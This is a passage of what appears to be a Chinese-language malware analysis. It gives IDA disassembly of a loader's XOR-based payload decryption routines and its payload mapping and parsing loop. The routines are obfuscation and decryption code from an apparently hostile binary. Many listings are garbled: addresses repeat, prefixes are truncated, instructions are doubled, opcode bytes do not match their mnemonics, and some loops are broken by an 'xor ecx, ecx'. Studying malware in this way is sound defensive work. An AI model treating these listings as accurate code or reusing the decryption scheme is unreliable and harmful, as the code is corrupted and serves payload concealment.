.OAD:0805FCE0
.OAD:0805FCE0
.OAD:0805FCE0 55                push    ebp
.OAD:0805FCE1 89 E5                mov     ebp, esp
.OAD:0805FCE3 57                push   edi
.OAD:0805FCE4 8B 45 08            mov     eax, [ebp+src]
.OAD:0805FCE7 56                push   esi
.OAD:0805FCE8 8B 7D 0C            mov     edi, [ebp+dst]
.OAD:0805FCEB 53                push   ebx
.OAD:0805FCEC 0F B6 5D 14        movzx  ebx, [ebp+key]
.OAD:0805FCF0 83 F3 47            xor     ebx, 47h
.OAD:0805FCF3 8B 18            mov     [eax], bl
.OAD:0805FCF5 8B 75 10            mov     esi, [ebp+length]
.OAD:0805FCF8 83 C6 01            add     esi, 1
.OAD:0805FCF8 83 FE 01            cmp     esi, 1
.OAD:0805FCFE 75 20                jbe    short loc_805FD20
.OAD:0805FD00 89 01 00 00 00 00    mov     ecx, 1
.OAD:0805FD05 8D 76 00            lea    esi, [esi+0]
.OAD:0805FD08
.OAD:0805FD08                loc_805FD08:                ; CODE XREF: serial_bind_0xcc17976_xcode+3E+1j
.OAD:0805FD08 0F B6 54 0F FF        movzx  edx, byte ptr [edi+ecx-1]
.OAD:0805FD0D 31 DA                xor     edx, ebx
.OAD:0805FD0F 83 F2 47            xor     edx, 47h
.OAD:0805FD12 31 CA                xor     ecx, ecx
.OAD:0805FD14 8B 14 08            mov     [eax+ecx], dl
.OAD:0805FD17 83 C1 01            add     ecx, 1
.OAD:0805FD1A 01 D3            add     ebx, edx
.OAD:0805FD1C 39 F1            cmp     ecx, esi
.OAD:0805FD1E 72 E8                jb     short loc_805FD08
.OAD:0805FD20
.OAD:0805FD20                loc_805FD20:                ; CODE XREF: serial_bind_0xcc17976_xcode+1E+1j
.OAD:0805FD20 5B                pop     ebx
.OAD:0805FD21 5E                pop     esi
.OAD:0805FD22 5F                pop     edi
.OAD:0805FD23 5D                pop     ebp
.OAD:0805FD24 C3                retn
.OAD:0805FD24                serial_bind_0xcc17976_xcode endp

```

## 7. 加密函数

```
LOAD:0805FD30 ; int __cdecl serial_bind_0xfaf1edf1_xcode(char *buffer, int length, unsigned __int8 key)
LOAD:0805FD30 serial_bind_0xfaf1edf1_xcode proc near ; DATA XREF: LOAD:080639A0!o
LOAD:0805FD30
LOAD:0805FD30
LOAD:0805FD30
LOAD:0805FD30
LOAD:0805FD30
LOAD:0805FD30 55
LOAD:0805FD31 89 E5
LOAD:0805FD33 57
LOAD:0805FD34 8B 45 08
LOAD:0805FD37 56
LOAD:0805FD38 8B 75 0C
LOAD:0805FD38 53
LOAD:0805FD3C 0F B6 7D 10
LOAD:0805FD40 85 F6
LOAD:0805FD42 74 19
LOAD:0805FD44 31 C9
LOAD:0805FD46 31 DB
LOAD:0805FD48
LOAD:0805FD48
LOAD:0805FD48 loc_0805FD48: ; CODE XREF: serial_bind_0xfaf1edf1_xcode+2B1j
LOAD:0805FD48 89 FA
LOAD:0805FD4A 32 14 08
LOAD:0805FD4D 31 DA
LOAD:0805FD4F 31 CA
LOAD:0805FD51 8B 14 08
LOAD:0805FD54 83 C1 01
LOAD:0805FD57 01 D3
LOAD:0805FD59 39 CE
LOAD:0805FD58 77 EB
LOAD:0805FD5D
LOAD:0805FD5D loc_0805FD5D: ; CODE XREF: serial_bind_0xfaf1edf1_xcode+121j
LOAD:0805FD5D 5B
LOAD:0805FD5E 5E
LOAD:0805FD5F 5F
LOAD:0805FD60 5D
LOAD:0805FD61 C3
LOAD:0805FD61
LOAD:0805FD61
LOAD:0805FD61
LOAD:0805FD62 8D B4 26 00 00 00 00 8D BC 27 00 00+
align 10h

; int __cdecl serial_bind_0xfaf1edf1_xcode(char *buffer, int length, unsigned __int8 key)
serial_bind_0xfaf1edf1_xcode proc near ; DATA XREF: LOAD:080639A0!o
buffer = dword ptr 8
length = dword ptr 0Ch
key = byte ptr 10h

push ebp
mov ebp, esp
push edi
mov eax, [ebp+buffer]
push esi
mov esi, [ebp+length]
push ebx
movzx edi, [ebp+key]
test esi, esi
jz short loc_0805FD5D
xor ecx, ecx
xor ebx, ebx

loc_0805FD48: ; CODE XREF: serial_bind_0xfaf1edf1_xcode+2B1j
mov edx, edi
xor dl, [eax+ecx]
xor edx, ebx
xor ecx, ecx
mov [eax+ecx], dl
add ecx, 1
add ebx, edx
cmp esi, ecx
ja short loc_0805FD48

loc_0805FD5D: ; CODE XREF: serial_bind_0xfaf1edf1_xcode+121j
pop ebx
pop esi
pop edi
pop ebp
retn
serial_bind_0xfaf1edf1_xcode endp
; -----
align 10h
```

## 8. 异或0x47函数类型5

```
.OAD:0805FD70
.OAD:0805FD70
.OAD:0805FD70
.OAD:0805FD70
.OAD:0805FD70
.OAD:0805FD70
.OAD:0805FD70 55
.OAD:0805FD71 89 E5
.OAD:0805FD73 56
.OAD:0805FD74 8B 75 0C
.OAD:0805FD77 53
.OAD:0805FD78 8B 45 08
.OAD:0805FD78 85 F6
.OAD:0805FD7D 74 20
.OAD:0805FD7F 31 D8
.OAD:0805FD81 31 C9
.OAD:0805FD83 90
.OAD:0805FD84 8D 74 26 00
.OAD:0805FD88
.OAD:0805FD88
.OAD:0805FD88 0F B6 14 08
.OAD:0805FD8C 31 DA
.OAD:0805FD8E 83 F2 47
.OAD:0805FD91 31 CA
.OAD:0805FD93 8B 14 08
.OAD:0805FD96 83 C1 01
.OAD:0805FD99 01 D3
.OAD:0805FD9B 39 CE
.OAD:0805FD9D 77 E9
.OAD:0805FD9F
.OAD:0805FD9F
.OAD:0805FD9F 5B
.OAD:0805FDA0 5E
.OAD:0805FDA1 5D
.OAD:0805FDA2 C3
.OAD:0805FDA2
.OAD:0805FDA2

; int __cdecl serial_bind_0x4b369f56_xcode(char *buffer, int length)
serial_bind_0x4b369f56_xcode proc near ; CODE XREF: serial_bind_0xd1eb34ee_decode+1871p
; serial_bind_0xd1eb34ee_decode+1EB7p ...
xx = dword ptr 8
yy = dword ptr 0Ch

push ebp
mov ebp, esp
push esi
mov esi, [ebp+yy]
push ebx
mov eax, [ebp+xx]
test esi, esi
jz short loc_0805FD9F
xor ebx, ebx
xor ecx, ecx
nop
lea esi, [esi+0]

loc_0805FD88: ; CODE XREF: serial_bind_0x4b369f56_xcode+2D1j
movzx edx, byte ptr [eax+ecx]
xor edx, ebx
xor edx, 47h
xor ecx, ecx
mov [eax+ecx], dl
add ecx, 1
add ebx, edx
cmp esi, ecx
ja short loc_0805FD88

loc_0805FD9F: ; CODE XREF: serial_bind_0x4b369f56_xcode+D1j
pop ebx
pop esi
pop ebp
retn
serial_bind_0x4b369f56_xcode endp
```

## ■ 载荷 ( payload ) 相关的加密方式

载荷 ( payload ) 在被装载过程中主要有5种解密方式。

方式一：

```
LOAD:0804A2E0 ; int __cdecl decode_callback_t1(int sysinfo, int payload, int i386, int tw, int bb, int cc)
LOAD:0804A2E0 decode_callback_t1 proc near ; DATA XREF: main+468↓o
LOAD:0804A2E0
LOAD:0804A2E0
LOAD:0804A2E0
LOAD:0804A2E0
LOAD:0804A2E0
LOAD:0804A2E0
LOAD:0804A2E0
LOAD:0804A2E0
LOAD:0804A2E0
LOAD:0804A2E0
LOAD:0804A2E0
LOAD:0804A2E1 55
LOAD:0804A2E1 89 E5
LOAD:0804A2E3 56
LOAD:0804A2E4 53
LOAD:0804A2E5 83 EC 30
LOAD:0804A2E8 88 45 10
LOAD:0804A2EB 88 55 14
LOAD:0804A2EE 8D 75 D8
LOAD:0804A2F1 88 5D 0C
LOAD:0804A2F4 C7 45 F4 FF FF FF FF
LOAD:0804A2FB 89 45 E0
LOAD:0804A2FE 8B 45 18
LOAD:0804A301 89 55 E4
LOAD:0804A304 88 55 1C
LOAD:0804A307 C7 45 F0 00 00 00 00
LOAD:0804A30E 89 74 24 04
LOAD:0804A312 89 45 D8
LOAD:0804A315 89 55 DC
LOAD:0804A318 89 1C 24
LOAD:0804A31B E8 30 5A 00 00
LOAD:0804A320 3D 03 01 00 00
LOAD:0804A325 74 21
LOAD:0804A327
LOAD:0804A327
LOAD:0804A327
LOAD:0804A327 8B 45 F4
LOAD:0804A32A 8D 50 FF
LOAD:0804A32D 83 FA FD
LOAD:0804A330 77 08
LOAD:0804A332 89 04 24
LOAD:0804A335 E8 56 65 01 00
LOAD:0804A33A
LOAD:0804A33A
LOAD:0804A33A 83 C4 30
LOAD:0804A33D 31 C0
LOAD:0804A33F 5B
LOAD:0804A340 5E
LOAD:0804A341 5D
LOAD:0804A342 C3
LOAD:0804A342
LOAD:0804A343 90 8D 74 26 00
LOAD:0804A348
LOAD:0804A348
LOAD:0804A348 0F B6 45 E8

; int __cdecl decode_callback_t1(int sysinfo, int payload, int i386, int tw, int bb, int cc)
decode_callback_t1 proc near ; DATA XREF: main+468↓o
aa = dword ptr -28h
sysinfo = dword ptr 8
payload = dword ptr 0Ch
i386 = dword ptr 10h
tw = dword ptr 14h
bb = dword ptr 18h
cc = dword ptr 1Ch

push ebp
mov ebp, esp
push esi
push ebx
sub esp, 30h
mov eax, [ebp+i386]
mov edx, [ebp+tw]
lea esi, [ebp+aa]
mov ebx, [ebp+payload]
mov [ebp+aa+1Ch], 0FFFFFFFh
mov [ebp+aa+8], eax
mov eax, [ebp+bb]
mov [ebp+aa+0Ch], edx
mov edx, [ebp+cc]
mov [ebp+aa+18h], 0
mov [esp+4], esi ; val
mov [ebp+aa], eax
mov [ebp+aa+4], edx
mov [esp], ebx ; buf
call serial_bind_0xd1eb34ee_decode
cmp eax, 103h
jz short loc_804A348

loc_804A327: ; CODE XREF: decode_callback_t1+72↓j
; decode_callback_t1+89↓j ...
mov eax, [ebp+aa+1Ch]
lea edx, [eax-1]
cmp edx, 0FFFFFFFh
ja short loc_804A33A
mov [esp], eax
call serial_bind_0x44611a64_free

loc_804A33A: ; CODE XREF: decode_callback_t1+50↑j
add esp, 30h
xor eax, eax
pop ebx
pop esi
pop ebp
ret

; -----
align 8

loc_804A348: ; CODE XREF: decode_callback_t1+45↑j
movzx eax, byte ptr [ebp+aa+10h]
```

方式二：

```

LOAD:0804A390
LOAD:0804A390
LOAD:0804A390
LOAD:0804A390
LOAD:0804A390
LOAD:0804A390
LOAD:0804A390
LOAD:0804A390
LOAD:0804A390
LOAD:0804A390
LOAD:0804A390
LOAD:0804A390
LOAD:0804A390
LOAD:0804A390
LOAD:0804A390
LOAD:0804A390
LOAD:0804A390
LOAD:0804A390
LOAD:0804A390
LOAD:0804A390
LOAD:0804A390 55
LOAD:0804A391 89 E5
LOAD:0804A393 83 EC 48
LOAD:0804A396 88 45 10
LOAD:0804A399 88 55 14
LOAD:0804A39C 89 5D F4
LOAD:0804A39F 88 5D 0C
LOAD:0804A3A2 89 75 F8
LOAD:0804A3A5 8D 75 C8
LOAD:0804A3A8 89 45 D0
LOAD:0804A3AB 88 45 18
LOAD:0804A3AE 89 55 D4
LOAD:0804A3B1 88 55 1C
LOAD:0804A3B4 89 7D FC
LOAD:0804A3B7 BF 0D 00 00 00
LOAD:0804A3BC C7 45 E4 FF FF FF FF
LOAD:0804A3C3 89 45 C8
LOAD:0804A3C6 89 55 CC
LOAD:0804A3C9 C7 45 E0 00 00 00 00
LOAD:0804A3D0 89 74 24 04
LOAD:0804A3D4 89 1C 24
LOAD:0804A3D7 E8 74 59 00 00
LOAD:0804A3DC 3D 03 01 00 00
LOAD:0804A3E1 74 25
LOAD:0804A3E3
LOAD:0804A3E3
LOAD:0804A3E3
LOAD:0804A3E3 8B 55 E4
LOAD:0804A3E6 8D 42 FF
LOAD:0804A3E9 83 F8 FD
LOAD:0804A3EC 77 08
LOAD:0804A3EE 89 14 24
LOAD:0804A3F1 E8 9A 64 01 00
LOAD:0804A3F6
LOAD:0804A3F6
LOAD:0804A3F6 89 F8
LOAD:0804A3F8 88 5D F4
LOAD:0804A3FB 88 75 F8
LOAD:0804A3FE 88 7D FC

decode_callback_t2 proc near                               ; DATA XREF: main+D181o
var_34            = dword ptr -38h
var_30            = dword ptr -30h
var_2C            = dword ptr -2Ch
var_28            = byte ptr -28h
bb                = dword ptr -20h
aa                = dword ptr -1Ch
var_C             = dword ptr -0Ch
var_8             = dword ptr -8
var_4             = dword ptr -4
cc                = dword ptr 8
dd                = dword ptr 0Ch
arg_8             = dword ptr 10h
arg_C             = dword ptr 14h
arg_10            = dword ptr 18h
arg_14            = dword ptr 1Ch
push             ebp
mov              ebp, esp
sub              esp, 48h
mov              eax, [ebp+arg_8]
mov              edx, [ebp+arg_C]
mov              [ebp+var_C], ebx
mov              ebx, [ebp+dd]
mov              [ebp+var_8], esi
lea              esi, [ebp+val]
mov              [ebp+var_30], eax
mov              eax, [ebp+arg_10]
mov              [ebp+var_2C], edx
mov              edx, [ebp+arg_14]
mov              [ebp+var_4], edi
mov              edi, 0Dh
mov              [ebp+aa], 0FFFFFFFh
mov              [ebp+val], eax
mov              [ebp+var_34], edx
mov              [ebp+bb], 0
mov              [esp+4], esi          ; val
mov              [esp], ebx          ; buf
call             serial_bind_0xd1eb34ee_decode
cmp              eax, 103h
jz              short loc_804A408

loc_804A3E3:                                             ; CODE XREF: decode_callback_t2+851j
; decode_callback_t2+A01j ...
mov              edx, [ebp+aa]
lea              eax, [edx-1]
cmp              eax, 0FFFFFFDh
ja              short loc_804A3F6
mov              [esp], edx
call             serial_bind_0x44611a64_free

loc_804A3F6:                                             ; CODE XREF: decode_callback_t2+5C7j
mov              eax, edi
mov              ebx, [ebp+var_C]
mov              esi, [ebp+var_8]
mov              edi, [ebp+var_4]

```



### 方式三：

```

LOAD:0804A460                                decode_callback_t3 proc near                ; DATA XREF: main+B154o
LOAD:0804A460
LOAD:0804A460                                var_40                                     = dword ptr -40h
LOAD:0804A460                                var_3C                                     = dword ptr -3Ch
LOAD:0804A460                                val                                         = dword ptr -38h
LOAD:0804A460                                var_34                                     = dword ptr -34h
LOAD:0804A460                                var_30                                     = dword ptr -30h
LOAD:0804A460                                var_2C                                     = dword ptr -2Ch
LOAD:0804A460                                var_28                                     = byte ptr -28h
LOAD:0804A460                                var_20                                     = dword ptr -20h
LOAD:0804A460                                var_1C                                     = dword ptr -1Ch
LOAD:0804A460                                buf                                         = dword ptr 0Ch
LOAD:0804A460                                arg_8                                       = dword ptr 10h
LOAD:0804A460                                arg_C                                       = dword ptr 14h
LOAD:0804A460                                arg_10                                      = dword ptr 18h
LOAD:0804A460                                arg_14                                      = dword ptr 1Ch
LOAD:0804A460
LOAD:0804A460 55                                         push    ebp
LOAD:0804A461 89 E5                                       mov     ebp, esp
LOAD:0804A463 57                                         push    edi
LOAD:0804A464 56                                         push    esi
LOAD:0804A465 53                                         push    ebx
LOAD:0804A466 83 EC 4C                                       sub     esp, 4Ch
LOAD:0804A469 8B 55 14                                       mov     edx, [ebp+arg_C]
LOAD:0804A46C 8B 7D 0C                                       mov     edi, [ebp+buf]
LOAD:0804A46F 8B 5D 18                                       mov     ebx, [ebp+arg_10]
LOAD:0804A472 8B 75 1C                                       mov     esi, [ebp+arg_14]
LOAD:0804A475 8B 45 10                                       mov     mov     eax, [ebp+arg_8]
LOAD:0804A478 89 55 D4                                       mov     [ebp+var_2C], edx
LOAD:0804A47B 8D 55 C8                                       lea    edx, [ebp+val]
LOAD:0804A47E 89 54 24 04                                       mov     [esp+4], edx ; val
LOAD:0804A482 89 55 C0                                       mov     [ebp+var_40], edx
LOAD:0804A485 89 45 D0                                       mov     [ebp+var_30], eax
LOAD:0804A488 89 5D C8                                       mov     [ebp+val], ebx
LOAD:0804A48B 89 75 CC                                       mov     [ebp+var_34], esi
LOAD:0804A48E C7 45 E4 FF FF FF FF                                       mov     [ebp+var_1C], 0FFFFFFFFh
LOAD:0804A495 C7 45 E0 00 00 00 00                                       mov     [ebp+var_20], 0
LOAD:0804A49C 89 3C 24                                       mov     [esp], edi ; buf
LOAD:0804A49F E8 AC 58 00 00                                       call   serial_bind_0xd1eb34ee_decode
LOAD:0804A4A4 8B 55 C0                                       mov     edx, [ebp+var_40]
LOAD:0804A4A7 C7 45 C4 0D 00 00 00                                       mov     [ebp+var_3C], 0Dh
LOAD:0804A4AE 3D 03 01 00 00                                       cmp    eax, 103h
LOAD:0804A4B3 74 59                                         jz     short loc_804A50E
LOAD:0804A4B5
LOAD:0804A4B5                                loc_804A4B5:                               ; CODE XREF: decode_callback_t3+CF4j
LOAD:0804A4B5                                ; decode_callback_t3+1331j
LOAD:0804A4B5 8B 45 E4                                       mov     eax, [ebp+var_1C]
LOAD:0804A4B8 8D 50 FF                                       lea    edx, [eax-1]
LOAD:0804A4BB 83 FA FD                                       cmp    edx, 0FFFFFFDh
LOAD:0804A4BE 0F 86 B4 00 00 00                                       jbe    loc_804A578
LOAD:0804A4C4
LOAD:0804A4C4                                loc_804A4C4:                               ; CODE XREF: decode_callback_t3+1271j
LOAD:0804A4C4 8B 35 00 4B 06 08                                       mov     esi, ds:g_section_count0
LOAD:0804A4C4 85 F6                                       test   esi, esi
LOAD:0804A4CC 74 2B                                       jz     short loc_804A4F9
LOAD:0804A4CE 31 DB                                       xor    ebx, ebx

```



## 方式四：

```

LOAD:0804A5C0          ; int __cdecl decode_callback_t4(int, int buf, int, int, int, int)
LOAD:0804A5C0          decode_callback_t4 proc near          ; DATA XREF: main+A10↓o
LOAD:0804A5C0
LOAD:0804A5C0          val          = dword ptr -38h
LOAD:0804A5C0          var_34      = dword ptr -34h
LOAD:0804A5C0          var_30      = dword ptr -30h
LOAD:0804A5C0          var_2C      = dword ptr -2Ch
LOAD:0804A5C0          var_28      = byte ptr -28h
LOAD:0804A5C0          var_20      = dword ptr -20h
LOAD:0804A5C0          var_1C      = dword ptr -1Ch
LOAD:0804A5C0          arg_0       = dword ptr 8
LOAD:0804A5C0          buf         = dword ptr 0Ch
LOAD:0804A5C0          arg_8       = dword ptr 10h
LOAD:0804A5C0          arg_C       = dword ptr 14h
LOAD:0804A5C0          arg_10      = dword ptr 18h
LOAD:0804A5C0          arg_14      = dword ptr 1Ch
LOAD:0804A5C0 55                push     ebp
LOAD:0804A5C1 89 E5            mov     ebp, esp
LOAD:0804A5C3 57                push    edi
LOAD:0804A5C4 BF 0D 00 00 00    mov     edi, 0Dh
LOAD:0804A5C9 56                push    esi
LOAD:0804A5CA 53                push    ebx
LOAD:0804A5CB 83 EC 3C          sub     esp, 3Ch
LOAD:0804A5CE 8B 45 10          mov     eax, [ebp+arg_8]
LOAD:0804A5D1 8B 55 14          mov     edx, [ebp+arg_C]
LOAD:0804A5D4 8D 75 C8          lea    esi, [ebp+val]
LOAD:0804A5D7 8B 5D 0C          mov     ebx, [ebp+buf]
LOAD:0804A5DA C7 45 E4 FF FF FF FF  mov     [ebp+var_1C], 0FFFFFFFh
LOAD:0804A5E1 89 45 D0          mov     [ebp+var_30], eax
LOAD:0804A5E4 8B 45 18          mov     eax, [ebp+arg_10]
LOAD:0804A5E7 89 55 D4          mov     [ebp+var_2C], edx
LOAD:0804A5EA 8B 55 1C          mov     edx, [ebp+arg_14]
LOAD:0804A5ED C7 45 E0 00 00 00 00    mov     [ebp+var_20], 0
LOAD:0804A5F4 89 74 24 04          mov     [esp+4], esi ; val
LOAD:0804A5F8 89 45 C8          mov     [ebp+val], eax
LOAD:0804A5FB 89 55 CC          mov     [ebp+var_34], edx
LOAD:0804A5FE 89 1C 24          mov     [esp], ebx ; buf
LOAD:0804A601 E8 4A 57 00 00    call   serial_bind_0xd1eb34ee_decode
LOAD:0804A606 3D 03 01 00 00    cmp     eax, 103h
LOAD:0804A60B 74 58                jz     short loc_804A665
LOAD:0804A60D
LOAD:0804A60D          loc_804A60D:                ; CODE XREF: decode_callback_t4+C0↓j
LOAD:0804A60D                ; decode_callback_t4+E0↓j
LOAD:0804A60D 8B 45 E4          mov     eax, [ebp+var_1C]
LOAD:0804A610 8D 50 FF          lea    edx, [eax-1]
LOAD:0804A613 83 FA FD          cmp     edx, 0FFFFFFDh
LOAD:0804A616 0F 86 8C 00 00 00    jbe    loc_804A6A8
LOAD:0804A61C
LOAD:0804A61C          loc_804A61C:                ; CODE XREF: decode_callback_t4+F7↓j
LOAD:0804A61C A1 04 4B 06 08    mov     eax, ds:g_section_count1
LOAD:0804A621 85 C0          test   eax, eax
LOAD:0804A623 74 2C          jz     short loc_804A651
LOAD:0804A625 31 DB          xor     ebx, ebx
LOAD:0804A627 90                nop
LOAD:0804A628
LOAD:0804A628          loc_804A628:                ; CODE XREF: decode_callback_t4+8F↓j
LOAD:0804A628 8B 14 DD 20 4D 06 08    mov     edx, ds:g_section_map1.field_0.field_0[ebx*8]
LOAD:0804A62F 85 D2          test   edx, edx

```

## 方式五：

```
OAD:0805FC60                ; int __cdecl serial_bind_0x4743c911_xor(char *buf, int len)
OAD:0805FC60                serial_bind_0x4743c911_xor proc near    ; CODE XREF: serial_bind_0xd1eb34ee_decode+136fp
OAD:0805FC60                ; serial_bvp+37fp
OAD:0805FC60                ; DATA XREF: ...
OAD:0805FC60                buf          = dword ptr 8
OAD:0805FC60                len         = dword ptr 0Ch
OAD:0805FC60                push       ebp
OAD:0805FC61 89 E5                mov        ebp, esp
OAD:0805FC63 57                push      edi
OAD:0805FC64 8B 7D 0C            mov        edi, [ebp+len]
OAD:0805FC67 56                push      esi
OAD:0805FC68 8B 75 08            mov        esi, [ebp+buf]
OAD:0805FC6B 53                push      ebx
OAD:0805FC6C 85 FF                test     edi, edi
OAD:0805FC6E 74 21                jz        short loc_805FC91
OAD:0805FC70 31 DB                xor       ebx, ebx
OAD:0805FC72 31 D2                xor       edx, edx
OAD:0805FC74 8D 74 26 00        lea      esi, [esi+0]
OAD:0805FC78                loc_805FC78:                ; CODE XREF: serial_bind_0x4743c911_xor+2F1j
OAD:0805FC78 0F B6 04 16        movzx    eax, byte ptr [esi+edx]
OAD:0805FC7C 89 C1                mov      ecx, eax
OAD:0805FC7E 83 F1 47            xor      ecx, 47h          ; xor 0x47
OAD:0805FC81 31 D9                xor      ecx, ebx
OAD:0805FC83 01 C3                add      ebx, eax
OAD:0805FC85 31 D1                xor      ecx, edx
OAD:0805FC87 8B 0C 16            mov      [esi+edx], cl
OAD:0805FC8A 83 C2 01            add      edx, 1
OAD:0805FC8D 39 D7                cmp      edi, edx
OAD:0805FC8F 77 E7                ja       short loc_805FC78
OAD:0805FC91                loc_805FC91:                ; CODE XREF: serial_bind_0x4743c911_xor+E1j
OAD:0805FC91 89 F0                mov      eax, esi
OAD:0805FC93 5B                pop      ebx
OAD:0805FC94 5E                pop      esi
OAD:0805FC95 5F                pop      edi
OAD:0805FC96 5D                pop      ebp
OAD:0805FC97 C3                retn
serial_bind_0x4743c911_xor endp
OAD:0805FC97
```

## 载荷 ( payload ) 解密流程

如前面所见到的main函数主体流程，载荷 ( payload ) 解析过程是一个相对复杂的循环体流程，且伴随了诸多加密对抗。

映射和加载：

```
LOAD:0804B706 89 4C 24 08          mov     [esp+8], ecx    ; payload_info
LOAD:0804B70A 89 44 24 04          mov     [esp+4], eax   ; map_size
LOAD:0804B70E 8B 84 24 D8 10 00 00  mov     eax, [esp+10F0h+ref_map_addr]
LOAD:0804B715 89 04 24          mov     [esp], eax    ; map_addr
LOAD:0804B718 E8 23 45 00 00      call    serial_bind_0x97413c51_getpayload ; 获取具体payload
LOAD:0804B71D 85 C0          test    eax, eax
LOAD:0804B71F 0F 84 E0 00 00 00  jz     jmp_804B805
LOAD:0804B725 C7 44 24 44 04 00 00 00  mov     [esp+10F0h+payload], 4
LOAD:0804B72D BF 04 00 00 00      mov     edi, 4
LOAD:0804B732 C6 44 24 34 00      mov     byte ptr [esp+10F0h+ref_payload_addr_], 0
LOAD:0804B737 C6 44 24 2B 1C      mov     [esp+10F0h+var_10C5], 1Ch
LOAD:0804B73C C6 44 24 24 02      mov     byte ptr [esp+10F0h+vv_map_size], 2
LOAD:0804B741 C7 44 24 48 00 00 00 00  mov     [esp+10F0h+payload_struct], 0
LOAD:0804B749 C6 44 24 23 01      mov     [esp+10F0h+var_10CD], 1
LOAD:0804B74E E9 76 FA FF FF      jmp     ret_error
LOAD:0804B753
LOAD:0804B753
LOAD:0804B753
LOAD:0804B753 0F 85 23 01 00 00  jnz    loc_804B87C
LOAD:0804B759
LOAD:0804B759
LOAD:0804B759
LOAD:0804B759 8D 84 24 D4 10 00 00  lea    eax, [esp+10F0h+ref_map_size]
LOAD:0804B760 89 44 24 08          mov     [esp+8], eax   ; map_size
LOAD:0804B764 8D 84 24 D8 10 00 00  lea    eax, [esp+10F0h+ref_map_addr]
LOAD:0804B768 89 44 24 04          mov     [esp+4], eax   ; map_addr
LOAD:0804B76F 8B 06          mov     eax, [esi]
LOAD:0804B771 89 04 24          mov     [esp], eax    ; file_path
LOAD:0804B774 E8 87 F6 FF FF      call    serial_mapFile ; 映射文件
LOAD:0804B779 85 C0          test    eax, eax
LOAD:0804B77B 0F 84 73 FF FF FF  jz     jmp_804B6F4
LOAD:0804B781
LOAD:0804B781
LOAD:0804B781
LOAD:0804B781 E8 5A 0D 00 00      call    serial_get_name
LOAD:0804B786 0F B6 4C 24 31    movzx   ecx, [esp+10F0h+arg0_flag]
LOAD:0804B788 31 DB          xor     ebx, ebx
LOAD:0804B78D C6 44 24 4F 01      mov     [esp+10F0h+var_10A1], 1
LOAD:0804B792 BF 03 00 00 00      mov     edi, 3
LOAD:0804B797 C7 44 24 44 03 00 00 00  mov     [esp+10F0h+payload], 3
LOAD:0804B79F C6 44 24 34 00      mov     byte ptr [esp+10F0h+ref_payload_addr_], 0
LOAD:0804B7A4 83 E1 01          and     ecx, 1
LOAD:0804B7A7 88 4C 24 43          mov     [esp+43h], cl
LOAD:0804B7AB C6 44 24 2B 0C      mov     [esp+10F0h+var_10C5], 0Ch
LOAD:0804B7B0 C6 44 24 24 02      mov     byte ptr [esp+10F0h+vv_map_size], 2
LOAD:0804B7B5 C7 44 24 48 00 00 00 00  mov     [esp+10F0h+payload_struct], 0
LOAD:0804B7BD E9 AF FB FF FF      jmp     loc_804B371
LOAD:0804B7C2
LOAD:0804B7C2
LOAD:0804B7C2
LOAD:0804B7C2 E8 89 F6 00 00      call    serial_bind_0xb367cd0e_channel
LOAD:0804B7C7 85 C0          test    eax, eax
LOAD:0804B7C9 0F 84 DB 00 00 00  jz     jmp_804B8AA
```

# 解析流程：

```
LOAD:004B7E1
LOAD:004B7E1
LOAD:004B7E1
LOAD:004B7E1 C6 44 24 24 01
LOAD:004B7E6 BF 16 00 00 00
LOAD:004B7EB C7 44 24 38 00 00 00 00
LOAD:004B7F3 C7 44 24 48 00 00 00 00
LOAD:004B7FB C6 44 24 23 01
LOAD:004B800 E9 C4 F9 FF FF
LOAD:004B805
LOAD:004B805
LOAD:004B805
LOAD:004B805 8B 84 24 C8 10 00 00
LOAD:004B80C 8B 94 24 D8 10 00 00
LOAD:004B813 8B 4C 24 44
LOAD:004B817 89 44 24 34
LOAD:004B81B 89 54 24 24
LOAD:004B81F 89 0C 24
LOAD:004B822 E8 D9 39 00 00
LOAD:004B827 85 C0
LOAD:004B829 89 44 24 48
LOAD:004B82D 0F 84 41 01 00 00
LOAD:004B833 83 7C 24 38 00
LOAD:004B838 0F 84 A3 00 00 00
LOAD:004B83E 8B 44 24 38
LOAD:004B842 8B 54 24 48
LOAD:004B846 89 44 24 04
LOAD:004B84A 89 14 24
LOAD:004B84D E8 BE 49 00 00
LOAD:004B852 85 C0
LOAD:004B854 74 7F
LOAD:004B856 C7 44 24 44 06 00 00 00
LOAD:004B85E BF 06 00 00 00
LOAD:004B863 C6 44 24 34 01
LOAD:004B868 C6 44 24 2B 19
LOAD:004B86D C6 44 24 24 03
LOAD:004B872 C6 44 24 23 01
LOAD:004B877 E9 4D F9 FF FF
LOAD:004B87C
LOAD:004B87C
LOAD:004B87C
LOAD:004B87C C7 44 24 44 03 00 00 00
LOAD:004B884 BF 03 00 00 00
LOAD:004B889 C6 44 24 34 00
LOAD:004B88E C6 44 24 2B 00
LOAD:004B893 C6 44 24 24 02
LOAD:004B898 C7 44 24 48 00 00 00 00
LOAD:004B8A0 C6 44 24 23 01
LOAD:004B8A5 E9 1F F9 FF FF
LOAD:004B8AA
LOAD:004B8AA
LOAD:004B8AA
LOAD:004B8AA 8B 44 24 2C
LOAD:004B8AE 89 04 24
LOAD:004B8B1 E8 BA F6 00 00
LOAD:004B8B6 85 C0
LOAD:004B8B8 0F 84 81 00 00 00
LOAD:004B8BE C7 44 24 44 16 00 00 00

loc_804B7E1: ; CODE XREF: main+8C01j
; main+95F4j ...
mov byte ptr [esp+10F0h+vv_map_size], 1
mov edi, 16h
mov [esp+10F0h+var_10B8], 0
mov [esp+10F0h+payload_struct], 0
mov [esp+10F0h+var_10CD], 1
jmp ret_error


; -----
jmp_804B805: ; CODE XREF: main+70F7j
mov eax, [esp+10F0h+ref_payload]
mov edx, [esp+10F0h+ref_map_addr]
mov ecx, [esp+10F0h+payload]
mov [esp+10F0h+ref_payload_addr_], eax
mov [esp+10F0h+vv_map_size], edx
mov [esp], ecx ; payload
call serial_bind_0x278dec7a_parsePayload ; 解析payload格式
test eax, eax
mov [esp+10F0h+payload_struct], eax
jz loc_804B974
loc_804B974:
cmp [esp+10F0h+var_10B8], 0
jz jmp_804B8E1
mov eax, [esp+10F0h+var_10B8]
mov edx, [esp+10F0h+payload_struct]
mov [esp+4], eax
mov [esp], edx
call serial_bind_0x3955ced4_
test eax, eax
jz short loc_804B8D5
mov [esp+10F0h+payload], 6
mov edi, 6
mov byte ptr [esp+10F0h+ref_payload_addr_], 1
mov [esp+10F0h+var_10C5], 19h
mov byte ptr [esp+10F0h+vv_map_size], 3
mov [esp+10F0h+var_10CD], 1
jmp ret_error

; -----
loc_804B87C: ; CODE XREF: main:jmp_804B753!j
mov [esp+10F0h+payload], 3
mov edi, 3
